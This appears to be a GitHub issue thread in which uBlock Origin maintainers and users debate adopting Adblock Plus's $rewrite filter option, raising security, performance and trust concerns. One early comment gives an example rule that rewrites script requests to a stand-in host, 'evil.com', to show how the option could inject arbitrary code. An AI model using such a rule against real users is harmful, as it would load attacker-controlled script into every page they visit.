ABP's $rewrite filter option

[mapx-]

see
https://issues.adblockplus.org/ticket/6592
https://issues.adblockplus.org/ticket/6622

related:
https://issues.adblockplus.org/ticket/6242

[gwarser]

Why not:

||server.com/content/*.m3u8?userId=*$rewrite=s/userId=\d+//

[jspenguin2017]

So /(^https?:\/\/[^/])/$script,rewrite=$1.evil.com basically let you inject arbitrary script to every page?
This can go so wrong, I'd say just hard code the few special websites that need this option in uBO-Extra.

[gwarser]

Allow only to delete parts of the url?

[gorhill]

Copy/pasting here a comment I made yesterday in Teams after I pondered this for a while:

---

gorhill May 22, 2018, 10:19 AM EDT

I won't implementing this filter option, I see too many issues with it. I am however open to implement a different filter option with similar purpose, but which would not suffer the issues I see with how rewrite has been designed. However, I need to see more cases being solved by such filter option than the just one case mentioned. So far I don't see this.

My concerns:

Security: testing same origin for redirect URL is not enough: both github.com/gorhill/ and github.com/toto/ have the same origin, however the content of both URLs is not controlled by the same person. My hunch tells me this is not good.

Security: even with strictly same origin, a malicious filter list author could add bad stuff to a network request.

Performance: the rewrite= option requires that the filter is a regex. This is bad, as this prevents such filter from being tokenizable, and as a consequence the filter must be tested against every single network request. With uBO this can be somewhat mitigated (not with ABP) by using type option (ex. xmlhttprequest) and party-ness option (ex. third-party), but this is still be a concern for me.

Given these concerns, I see a better way to implement similar option but with a more focused purpose: to remove specific query parameters from a URL:

||content.uplynk.com/ext/*.m3u8?$querystrip=*

Where the querystrip option would mean: "remove all query parameters matching the given lists of tokens or pattern".

Sticking to remove query parameters takes care of the ownership and malicious filter list author issue for the most part -- the filter removes query parameters, it can never rewrite them into something else.

The performance concern no longer exist with such filter, since it does not have to be a regex. The value of the querystrip option dictates which query parameter must be removed. It could be * to remove all of them, or a |-separated list of tokens which tells which specific query parameters should be removed.

Now this does not remove some other concerns I see with rewrite=.

One is that it is designed as a block filter.

What if I really want to block using ||content.uplynk.com/ext/? The way uBO/ABP and all similar-purpose blockers is to stop trying to find a match when a hit is found. If the filter with the rewrite option is found first, the really blocking filter won't be found and the network request will go through. This can be addressed in uBO using the important filter option, but still, my gut tells me there is something wrong about a blocking filter which actually does not block -- I feel more thinking is needed there.

My current thinking is that a querystrip filter applies if and only if the network request was neither blocked or excepted. Not blocked because block filters must result in the network request not being made by the browser, and not excepted because the purpose of exception filters is strictly to counter block filters. So if a network request goes through both block/exception filters unscathed, than it would be fair game for further handling with a querystrip option.

Anyway, as said I still need more than just one case to be an argument for such filter -- the last thing I want is to add technical debt to uBO for little tangible benefits overall. Note that a site could simply convert their GET request into a POST one and this would bypass both rewrite= or querystrip= filters -- so far the case for such filter options is thin.

[gwarser]

remove specific query parameters

utm_* stuff (more like privacy and tracking)

querystrip may be not enough.
Apart from the POST requests - some pages use path to encode query parameters, for example amazon¹:

And some other pages use hash 2, 3 (not even handled by network code).

[gwarser]

Also ABP code can handle https://server.com/content/foo-with-ads.m3u8 -> .../foo.m3u8

This can go so wrong, I'd say just hard code the few special websites that need this option in uBO-Extra.

👍

and other cases (utm_*) can be handled by specialized URL redirecting extensions.

[jspenguin2017]

@gorhill

Yea, querystrip sounds way better.

Also I don't see how the new ABP build can get pass AMO review since it allow injection of arbitrary script. (Or I'm missed something?)

@gwarser other cases (utm_*) can be handled by specialized URL redirecting extensions.

The background script of uBO-Extra can be made configurable (unlike the content script), so we can include a switch to enable / disable part of its URL rewriting rules.

[gwarser]

One is that it is designed as a block filter.

How to make this exception-only option? Request can be blocked by one filter, and then repaired by @@...$querystrip=*.

[gorhill]

then repaired by @@...$querystrip=*

Exception filters also obey the first-match rule. You could end up with another exception filter such that the querystrip filter is not seen, and you also would be unable to except such filter if needed if it is found to cause issue on one site. Hence the need to lookup such filters after having both gone through block/exception filters and finding that none applied before caring about querystrip filters. This means added overhead overall since in basic settings most network requests are neither blocked or excepted.

A scriptlet for that specific purpose seems to be the right approach (an XMLHttpRequest wrapper to remove query parameters), it's injected only on sites where it's needed, can be excepted, and adds no global overhead to network request handling.

[hfiguiere]

Also I don't see how the new ABP build can get pass AMO review since it allow injection of arbitrary script. (Or I'm missed something?)

No it doesn't inject arbitrary scripts.

[jspenguin2017]

@hfiguiere What mechanism it has to prevent #46 (comment) from happening?

[hfiguiere]

The example in #46 (comment) change the origin, so the rewrite doesn't happen in that case, and the original query is let through.

[jspenguin2017]

@hfiguiere OK, so what about rewriting an URL from RawGit? You can control the content served from RawGit pretty easily, and all files served from RawGit are under cdn.rawgit.com origin. All apps using RawGit CDN can be attacked.

[jspenguin2017]

Nope, it ended poorly: https://www.bleepingcomputer.com/news/security/adblock-plus-filters-can-be-exploited-to-run-malicious-code/

[gwarser]

Will be implemented in Brave brave/adblock-rust#184

https://www.reddit.com/r/uBlockOrigin/comments/poy9us/interest_in_redirecturl_filter_option/

[KiARC]

Since this was marked as duplicate elsewhere, I'll mention it here: What if the syntax to rewrite a URL only functioned in My Filters, and was not parsed anywhere else? This would protect users from malicious list maintainers while still allowing people to do this. An example I have for a use case is redirecting requests to ajax.googleapis.com/ajax/libs/jquery to cdnjs.cloudflare.com/ajax/libs/jquery to avoid the Google API call.

[gorhill]

only functioned in My Filters

uBO is mature software at this point, and my focus is to do work on code which help filter list maintainers. What you ask can already be accomplish by specialized extensions out there.

[KiARC]

That's fair, really Request Control is the right extension for this, but unfortunately uBO has a habit of breaking literally any other network filtering extension I install no matter what order they're installed in. In this case, if I block the Google API request and allow the Cloudflare one, uBO blocks the whole request before Request Control can rewrite it, and if I allow both calls uBO inexplicably forwards the request to Google without letting Request Control interact with it, at least as far as the logger says.

[gorhill]

I block the Google API request and allow the Cloudflare one, uBO blocks the whole request before Request Control can rewrite it

Blocking has precedence over redirecting, regardless of extension order of processing. Just don't block network requests you want to be redirected to a different server.

---

uBO inexplicably forwards the request to Google

uBO doesn't "forward" requests, it merely do not block them. Requests which are not blocked by one extension can be freely redirected by another one. If it's not working, you need to investigate your other extension as to why it's not working.

[KiARC]

That's new information to me, thank you, but when I allow it in uBO for Request Control to redirect my log seems to show a request to Google and then a request to Cloudflare, which suggests to me that the request is not being redirected but repeated. This behavior is not caused by Request Control, as when uBO is off it does not happen, as far as I am able to tell. Is there something I'm overlooking?

EDIT: I'll try logging the network requests at the OS level to see if maybe it's just an issue with how the browser is reporting them.

[gorhill]

my log

What is that "log"? If it's uBO logger, then it's normal it's showing you a network request to Google not being blocked (if that is the one you want to be redirected), because everything shown in the uBO's own logger is from the point of view of uBO, and if the request is not blocked by uBO, then the logger will show it as not being blocked. Use the browser dev tools to see the final outcome of which network requests are blocked/redirected/allowed.

[KiARC]

I initially used the uBO logger and saw that, and then checked the network tab in DevTools and was getting inconsistent results. Like I said, I'll try to examine it better.

[YoshiTabletopGamer]

only functioned in My Filters

uBO is mature software at this point, and my focus is to do work on code which help filter list maintainers. What you ask can already be accomplish by specialized extensions out there.

Halfway there (after slash) gorhill/uBlock@2e4525fe3c 🤷
See #2229 (comment)

[stephenhawk8054]

work on code which help filter list maintainers.

[YoshiTabletopGamer]

work on code which help filter list maintainers.

I'm just saying a lot of features have been added without that much community input. Ublock Origin is not mainly and should not be mainly something like a user script extension. Sure, userResourcesLocation exists, but Ublock Origin had the benefit of getting filterlists from absolutely any source (with the exception of userResourcesLocation) without worrying about some potentially dangerous script execution (Don't understand this wrong, I'm not arguing against adding actual useful features which are necessary)

[stephenhawk8054]

So what should filter list maintainers do when a large website with large users target uBO specifically and change scripts everyday and quick fix list cannot keep up?

Then hundreds of users come to uBO reddit and github to complain every day?

Can you help us managing those users? Can you help us update the filter lists when the website updates while it's 1AM-3AM and filter lists maintainers cannot stay up that late?

[YoshiTabletopGamer]

Like Yuki said,

One reason I love and trust uBO is that he always takes serious consideration of security and privacy #46 (comment). Those who don't and take every nice or convenient feature demanded suffer vulnerability. Prevention is better than cure.

Which is better, feature creep and increased attack surface, or having to update filter lists more frequently

Can you help us update the filter lists when the website updates while it's 1AM-3AM and filter lists maintainers cannot stay up that late?

Are they all in the same timezone?

If we must do this to defeat anti blockers, we need to think carefully, mitigating the attack surface. The adding of trusted scriptlets to UbO must be done carefully. I'm talking about the attack exposure.

[YoshiTabletopGamer]

The community is pressuring the maintainers for quickly defeating anti blockers, but I still believe we need to justify new trusted filters and as I previously said, we must not trade security for functionality. See #2229 (comment)

[gorhill]

Halfway there (after slash)

As opposed to rewrite, only uBO's own lists can use it. The trusted framework didn't exist back then in uBO.

[YoshiTabletopGamer]

Hi, gorhill. Sorry for the rant, but I never expected anti blockers to force us to add fully custom filters Edit: (I mean trusted scriptlets). See #2229 (comment)

[stephenhawk8054]

Then the best way for gorhill is to abandon the project and let whoever can take those ideas do whatever they want. I'll support that decision with both hands and I could be able not to waste my time dealing with filter lists and users any more.

If you have any ideas to both develop the way you think it's better and to counter with the codes website changes everyday, just develop and PR it. Talking sarcastically and literaturely without any actions to contribute just wastes time on both sides.

If that's difficult, you can voluntarily help us update the filter lists and talk with users out there. Is it ok?

[uBlock-user]

I never expected anti blockers to force us to add fully custom filters.

You must be new here then. As new tricks and ways appear, uBO continues to develop new features too. This has been ongoing for last 5 yrs and beyond...

[gorhill]

I never expected anti blockers to force us to add fully custom filters

I don't understand what that means. Can you clarify?

[stephenhawk8054]

In case you don't know, in the last uBO stable release, uBO survived that large website anti blockers solely due to 1 of the trusted scriptlets for weeks before new release could come out while there was litetally no other ways to counter with other scriptlets.

[YoshiTabletopGamer]

I never expected anti blockers to force us to add fully custom filters.

You must be new here then. As new tricks and ways appear, uBO continues to develop new features too. This has been ongoing for last 5 yrs and beyond...

Do not misunderstand! I have known for years scriptlets have been essential to uBO. I'm talking about the trusted scriptlets. By "fully custom filters" I mean filters that can now do pretty much the same things a user script can do. It's now clear that the evidence for usage of trusted filters has been growing. See also #2229 (comment)

[uBlock-user]

I'm talking about the trusted scriptlets.

I mean filters that can now do pretty much the same things a user script can do

Necessity is the mother of invention. There came a time when we cannot limit ourselves, hence the concept of trusted sources came. Also this concept arrived in AdGuard first fyi.

As for "filters that can now do pretty much the same things a user script can do", it's been like this even before trusted sources came with the help of advanced setting called userResourcesLocation where you can link multiple user-scripts and make filters out of them.

[YoshiTabletopGamer]

I know, I myself use medium mode and am an "Advanced User". I just don't use a userResourcesLocation (not an argument)

[uBlock-user]

The userScript point of yours has nothing to do trusted sources concept which you were attributing the reason. That's my point. Once userResourcesLocation came into existence, many things became possible. trustedSources is now one more step in opening many more possibilities which were still not available to filter lists maintainers.

[YoshiTabletopGamer]

The userScript point of yours has nothing to do trusted sources concept which you were attributing the reason. That's my point. Once userResourcesLocation came into existence, many things became possible. trustedSources is now one more step in opening many more possibilities which were still not available to filter lists maintainers.

Yes, I still remember when the subreddit was once filled with advice on how to bypass Twitch ads.

[gorhill]

feature creep

This is not "feature creep", what is being done is necessary to fulfilled user expectations from their content blockers given how websites evolved. "Feature creep" would be warranted if uBO become large inefficient piece of software, but that is not the case, I am confident that it's still the most efficient content blocker by a good margin given it's capabilities.

The added features are for the most part not visible to users, i.e. we are not adding buttons and widgets in the user interface, we are adding filtering capabilities in order to improve content blocking in way that is seamless to users, and a testament to this is that vast majority of people out there (before Youtube crackdown anyways) have no idea that the "seamless" aspect is due to filter list maintainers constantly working behind the scene, with the capabilities offered by the filtering engines in uBO.

It seems at this point you are arguing against evolving uBO to keep up with websites, arguing for stagnation which will lead to irrelevancy. If you have better solutions to the issues we are facing, best to suggest something actionable and concrete, so far you are not proposing anything actionable beside what is essentially "stop working on uBO".

[YoshiTabletopGamer]

I'm not arguing against Ublock Origin's performance, I just had this (unlikely, but potentially (in the very, very long term, actionable) worry here). I'm not arguing for stagnation in any way, shape or form.